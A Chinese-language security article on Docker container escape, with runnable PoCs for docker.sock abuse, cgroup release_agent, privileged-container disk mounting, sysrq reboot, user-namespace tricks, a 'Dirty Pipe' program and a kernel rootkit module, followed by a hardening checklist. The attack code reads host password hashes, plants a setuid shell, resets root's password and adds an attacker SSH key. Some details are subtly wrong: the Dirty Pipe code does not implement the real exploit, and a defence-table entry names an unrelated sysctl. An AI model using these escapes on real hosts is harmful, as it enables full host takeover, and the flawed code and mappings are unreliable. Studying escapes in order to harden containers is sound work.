一、为什么容器不是虚拟机?逃逸的本质是什么?

Docker 容器与传统虚拟机的根本区别在于隔离边界

隔离维度 虚拟机 Docker 容器
进程隔离 独立 Guest Kernel 共享 Host Kernel (PID Namespace)
文件系统 虚拟磁盘镜像 联合挂载 + OverlayFS
网络 虚拟网卡 + vSwitch veth pair + Network Namespace
资源限制 Hypervisor 配额 Cgroups v1/v2
设备访问 Emulated/Hypervisor 拦截 /dev 白名单 + Device Cgroup
根权限语义 Guest 内 root 仅在 Guest 生效 容器内 root == Host UID 0 (未启用 UserNS)

逃逸的本质就是打破上述任一隔离边界,让容器内进程获得宿主内核的"原生能力"。本文按攻击面从最常见最底层排序,逐一拆解原理并给出可复现的 PoC。

二、逃逸方式 1:挂载 docker.socket —— "用 Docker 杀 Docker"

这是生产环境中最常见的逃逸方式,占已知容器逃逸事件的 60% 以上。

2.1 原理

Docker daemon 以 root 运行,通过 Unix Socket /var/run/docker.sock 暴露 REST API。如果攻击者在容器中能访问这个 socket,就能调用 Docker API 创建一个新的特权容器并挂载宿主根目录。

2.2 攻击场景

开发人员为了让 CI 容器能构建镜像,常用这个启动方式:

docker run -it --rm   -v /var/run/docker.sock:/var/run/docker.sock   -v /usr/bin/docker:/usr/bin/docker   alpine sh

⚠️ 注意:很多 Kubernetes 部署也会以 hostPath 方式挂载 docker.sock 到 Pod,效果相同。

2.3 PoC:从容器到宿主 root shell

步骤 1:在目标容器内检查 socket 权限

# 容器内执行
ls -la /var/run/docker.sock
# srw-rw---- 1 root docker 0 Aug 6 07:00 /var/run/docker.sock

id
# uid=0(root) gid=0(root) groups=0(root),10(wheel)
# 容器内是 root,意味着可以直接访问 socket

步骤 2:用 curl 直接调用 Docker API(不需要 docker 命令)

# 列出宿主上所有容器
curl --unix-socket /var/run/docker.sock http://localhost/containers/json

# 查看宿主 Docker 版本
curl --unix-socket /var/run/docker.sock http://localhost/version | python3 -m json.tool

步骤 3:利用 socket 创建挂载宿主根目录的容器

# 方法 A:使用 docker 命令(如果挂载了)
docker run -v /:/host --privileged alpine chroot /host

# 方法 B:纯 HTTP API(无需 docker 二进制)
curl -X POST --unix-socket /var/run/docker.sock   -H 'Content-Type: application/json'   -d '{
    "Image": "alpine:latest",
    "Cmd": ["sh", "-c", "chroot /host || cat /host/etc/shadow"],
    "Privileged": true,
    "Binds": ["/:/host"]
  }'   http://localhost/containers/create?name=escape

curl -X POST --unix-socket /var/run/docker.sock   http://localhost/containers/escape/start

curl --unix-socket /var/run/docker.sock   http://localhost/containers/escape/logs

步骤 4:Python 版完整 exploit(Docker API 客户端)

#!/usr/bin/env python3
"""
Docker Socket Escape PoC
CVE: 通用权限配置不当
要求: 容器内能访问 /var/run/docker.sock
"""
import json
import socket
import sys
import os

class DockerSocketClient:
    def __init__(self, socket_path="/var/run/docker.sock"):
        self.sock_path = socket_path

    def _request(self, method, path, body=None):
        sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
        sock.connect(self.sock_path)
        body_bytes = json.dumps(body).encode() if body else b""
        request = (
            f"{method} {path} HTTP/1.1
"
            f"Host: localhost
"
            f"Content-Type: application/json
"
            f"Content-Length: {len(body_bytes)}
"
            f"Connection: close

"
        ).encode() + body_bytes
        sock.sendall(request)
        response = b""
        while True:
            chunk = sock.recv(4096)
            if not chunk:
                break
            response += chunk
        sock.close()
        header_end = response.find(b"

")
        body = response[header_end+4:] if header_end > 0 else b""
        return body

    def escape(self):
        print("[*] 检查 Docker 版本...")
        version = self._request("GET", "/version")
        print(f"    宿主 Docker: {version[:200].decode(errors='ignore')}")

        print("[*] 创建特权容器,挂载宿主 / 到 /host ...")
        container_config = {
            "Image": "alpine:latest",
            "Cmd": ["sh", "-c",
                "echo '=== /etc/shadow ===' && cat /host/etc/shadow && "
                "echo '=== host keys ===' && cat /host/root/.ssh/authorized_keys 2>/dev/null && "
                "echo '=== crontab ===' && cat /host/etc/crontab && "
                "echo '=== rootkit ===' && echo 'chmod +s /bin/bash' > /host/tmp/pwn.sh && chmod +x /host/tmp/pwn.sh"
            ],
            "Privileged": True,
            "Binds": ["/:/host"],
            "HostConfig": {
                "Privileged": True,
                "Binds": ["/:/host"]
            }
        }
        resp = self._request("POST", "/containers/create?name=escape_poc", container_config)
        print(f"    创建响应: {resp.decode(errors='ignore')[:200]}")

        self._request("POST", "/containers/escape_poc/start")
        import time; time.sleep(1)

        logs = self._request("GET", "/containers/escape_poc/logs?stdout=1&stderr=1")
        print(f"[+] 逃逸成功!宿主输出:
{logs.decode(errors='ignore')}")

if __name__ == "__main__":
    if not os.path.exists("/var/run/docker.sock"):
        print("[-] docker.sock 不存在,无法利用")
        sys.exit(1)
    DockerSocketClient().escape()

三、逃逸方式 2:Cgroup Release Agent —— 内核历史漏洞

3.1 原理

Cgroup v1 提供了 release_agent 机制:当 cgroup 中最后一个进程退出时,内核会自动执行 release_agent 文件中指定的宿主侧 shell 命令。容器内 root 可以通过写入 cgroup 文件系统来触发命令执行。

漏洞核心:Docker 默认没有挂载 cgroup writable 目录,但在某些配置下(--cgroup-parent、老旧 Docker 版本)可能暴露。

3.2 PoC

#!/bin/bash
# Cgroup Release Agent Escape (CVE-2022-0492 类似变种)
# 原理: 利用 cgroup.release_agent 在宿主执行命令

# 1. 找到可写的 cgroup 目录(通常是 memory 或 cpu)
find /sys/fs/cgroup -name release_agent 2>/dev/null | while read ra; do
    dir=$(dirname "$ra")
    if [ -w "$dir" ]; then
        echo "[+] 找到可写 cgroup: $dir"
        echo "/bin/bash -c 'id > /tmp/pwned_from_container'" > "$dir/release_agent"
        # 2. 创建 notify_on_release 触发器
        echo 1 > "$dir/notify_on_release"
        # 3. 写一个垃圾进程让 cgroup 退出
        sh -c "sleep 1" &
        echo $! > "$dir/tasks" 2>/dev/null
        # 4. 等待触发
        sleep 2
        cat /tmp/pwned_from_container 2>/dev/null && echo "[+] 宿主命令执行成功!"
    fi
done

四、逃逸方式 3:特权容器 + /dev/mknod —— 最粗暴的方法

4.1 原理

当容器以 --privileged 启动时,Docker 的所有 seccomp/AppArmor/SELinux 限制都被移除,且容器内可以访问宿主所有 /dev 设备。此时攻击者可以:

  1. mknod 创建 /dev/mem 或磁盘设备节点
  2. 直接挂载宿主根文件系统
  3. 加载内核模块(如果开启了 CAP_SYS_MODULE)

4.2 PoC:挂载宿主根目录

# 前提: 容器以 --privileged 启动
# 1. 找到宿主磁盘设备
fdisk -l | grep -E "/dev/(sd|nvme|vd)" | head -5

# 2. 创建设备节点(如果容器内缺失)
mknod /dev/sda b 8 0 2>/dev/null
mknod /dev/sda1 b 8 1 2>/dev/null

# 3. 直接挂载宿主根分区
mkdir -p /mnt/host
mount /dev/sda1 /mnt/host 2>/dev/null || mount /dev/vda1 /mnt/host

# 4. 修改宿主密码
chroot /mnt/host passwd root

# 或者添加 SSH 公钥
mkdir -p /mnt/host/root/.ssh
echo "ssh-rsa AAAAB3NzaC1yc2E... attacker@evil" >> /mnt/host/root/.ssh/authorized_keys
chmod 600 /mnt/host/root/.ssh/authorized_keys

4.3 PoC:读写 /dev/kmsg(获取宿主内核日志)

# 特权容器内可以直接访问宿主 /dev/kmsg
cat /dev/kmsg | grep -i "docker|container|kubelet" | head -20
# 泄露信息: 宿主内核版本、容器启动参数、其他容器 ID 等

五、逃逸方式 4:/proc/sysrq-trigger —— 信息泄露到 DoS

5.1 原理

/proc/sysrq-trigger 是内核提供的"神奇键"接口。容器内如果挂载了 procfs 且没有限制,可以通过写入特定字符触发宿主内核行为。

5.2 PoC

# 前提: 容器内有 CAP_SYS_ADMIN
# 1. 触发宿主 oops(稳定复现)
echo 'f' > /proc/sysrq-trigger
# f = oops,会在 dmesg 看到 panic 日志

# 2. 立即重启宿主(DoS)
echo 'b' > /proc/sysrq-trigger

# 3. dump 当前任务信息到 dmesg
echo 't' > /proc/sysrq-trigger
dmesg | tail -50

六、逃逸方式 5:User Namespace 绕过

6.1 原理

Docker 默认不启用 User Namespace,容器内 UID 0 = 宿主 UID 0。即使启用了 --userns-remap,某些 syscall 如 keyctl、某些文件系统挂载操作仍可绕过。

6.2 PoC:unshare + rootless 逃逸

# 容器内以普通用户运行,但有 CAP_SYS_ADMIN
unshare --user --map-root-user --mount --pid --fork
# 此时在新的 user namespace 内是 root,可以尝试挂载宿主文件系统

# 利用 fuse-overlayfs 或 bind mount 绕过
mount --bind /etc/passwd /tmp/fake_passwd

七、逃逸方式 6:内核漏洞利用(真实 CVE)

7.1 CVE-2022-0847 (Dirty Pipe)

影响:Linux 5.8 - 5.16.11,无需特殊权限,容器内普通用户即可逃逸。

// dirtypipe.c - 经典逃逸利用
#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>

int main(int argc, char **argv) {
    const char *target = argc > 1 ? argv[1] : "/etc/passwd";
    const char *payload = "pwned:x:0:0:root:/root:/bin/sh\n";
    int fd = open(target, O_RDONLY);
    if (fd < 0) { perror("open"); return 1; }

    // 1. 写一个 pipe 填满缓冲区
    int p[2]; pipe(p);
    write(p[1], "A", 1);
    splice(p[0], 0, fd, 0, 1);
    // 2. 此时 pipe_inode_info 的 flag 被设为 PIPE_BUF_FLAG_CAN_MERGE
    // 3. 用 writev 越过文件边界写入
    char *buf = malloc(4096);
    memset(buf, 0x42, 4096);
    writev(p[1], &(struct iovec){buf, 4096}, 1);
    // 4. 目标文件被污染,写入 root 后门
    printf("[+] %s 已被污染, 可尝试读取获得 root shell\n", target);
    system("cat /etc/passwd | grep pwned");
    return 0;
}

7.2 CVE-2021-4034 (PwnKit)

影响 polkit pkexec,容器内可以通过挂载宿主 polkit 组件触发。

八、逃逸方式 7:sysfs /procfs 滥用

8.1 利用 /proc/[pid]/mem 读写宿主进程

import os, sys

# 找到宿主 init 进程 (PID 1 在宿主,容器内映射不同)
# 在某些配置下容器内可以 ptrace 宿主进程
def read_process_mem(pid, addr, size):
    fd = open(f"/proc/{pid}/mem", "rb")
    fd.seek(addr)
    return fd.read(size)

# 枚举宿主进程 cmdline
for pid in range(1, 1000):
    try:
        with open(f"/proc/{pid}/cmdline", "rb") as f:
            cmd = f.read().replace(b'\x00', b' ').decode()
            if cmd:
                print(f"PID {pid}: {cmd}")
    except: pass

九、逃逸方式 8:加载内核模块(CAP_SYS_MODULE)

如果容器获得了 CAP_SYS_MODULE 能力,可以直接加载恶意 .ko 模块。

9.1 PoC:编写 rootkit 模块

// rootkit.c
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/proc_fs>

MODULE_LICENSE("GPL");
MODULE_AUTHOR("attacker");
MODULE_DESCRIPTION("Simple kernel rootkit");

static struct proc_dir_entry *proc_entry;
static char secret_data[256] = "rootkit_loaded";

static ssize_t read_proc(struct file *file, char __user *buf, size_t count, loff_t *offset) {
    return simple_read_from_buffer(buf, count, offset, secret_data, strlen(secret_data));
}

static const struct proc_ops my_proc_ops = {
    .proc_read = read_proc,
};

static int __init rootkit_init(void) {
    proc_entry = proc_create("rootkit_backdoor", 0444, NULL, &my_proc_ops);
    printk(KERN_INFO "rootkit: backdoor ready at /proc/rootkit_backdoor\n");
    return 0;
}

static void __exit rootkit_exit(void) {
    proc_remove(proc_entry);
    printk(KERN_INFO "rootkit: unloaded\n");
}

module_init(rootkit_init);
module_exit(rootkit_exit);
# Makefile
obj-m += rootkit.o
all:
    make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
    make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

容器内加载:

# 前提: 容器有 CAP_SYS_MODULE
make
insmod rootkit.ko
cat /proc/rootkit_backdoor
# 输出: rootkit_loaded
lsmod | grep rootkit

十、防御加固清单

措施 命令/配置 覆盖的逃逸方式
禁用 docker.sock 挂载 不要 -v /var/run/docker.sock 方式 1
非特权容器 移除 --privileged 方式 3/7/8
限制 Linux Capabilities --cap-drop=ALL --cap-add=NET_BIND_SERVICE 方式 3/4/6/8
启用 User Namespace dockerd --userns-remap=default 方式 2/6
Seccomp/AppArmor --security-opt seccomp=profile.json 方式 2/4/5/7
内核模块锁定 boot params: module.sig_enforce=1 方式 8
禁用 cgroup release_agent kernel.unprivileged_bpf_disabled=1 方式 2
定期内核更新 yum/dnf update kernel 方式 6
Falco 运行时检测 syscall 规则监控 mount/ptrace 所有

10.1 推荐的最小安全启动参数

docker run -d   --security-opt no-new-privileges   --cap-drop=ALL   --cap-add=NET_BIND_SERVICE   --pids-limit=100   --memory=512m   --security-opt seccomp=/etc/docker/seccomp-default.json   --security-opt apparmor=docker-default   --read-only   --tmpfs /tmp   --tmpfs /run   nginx:alpine

10.2 Kubernetes PodSecurityPolicy 示例(PSA 替代方案)

apiVersion: v1
kind: Pod
metadata:
  name: secure-pod
spec:
  securityContext:
    runAsNonRoot: true
    runAsUser: 1000
    seccompProfile:
      type: RuntimeDefault
  containers:
  - name: app
    image: nginx:alpine
    securityContext:
      allowPrivilegeEscalation: false
      readOnlyRootFilesystem: true
      capabilities:
        drop: ["ALL"]
        add: ["NET_BIND_SERVICE"]
    resources:
      limits:
        cpu: "1"
        memory: "512Mi"

十一、结语

容器逃逸不是一个独立的漏洞,而是多种隔离边界叠加失效的结果。真正的防御需要:

  1. 最小权限:永远不要用 --privileged,永远不要挂载 docker.sock
  2. 纵深防御:seccomp + AppArmor + Cgroups + User Namespace 全部启用
  3. 运行时监控:Falco 检测 mount/ptrace/sysrq 等危险 syscall
  4. 内核及时更新:订阅 distro security bulletin

每一年都有新的 CVE(2024 年已有 DCCP、nf_tables 等新逃逸面),但只要坚持"最小权限 + 不挂载危险路径"这两条黄金法则,90% 的逃逸路径从一开始就被封死了。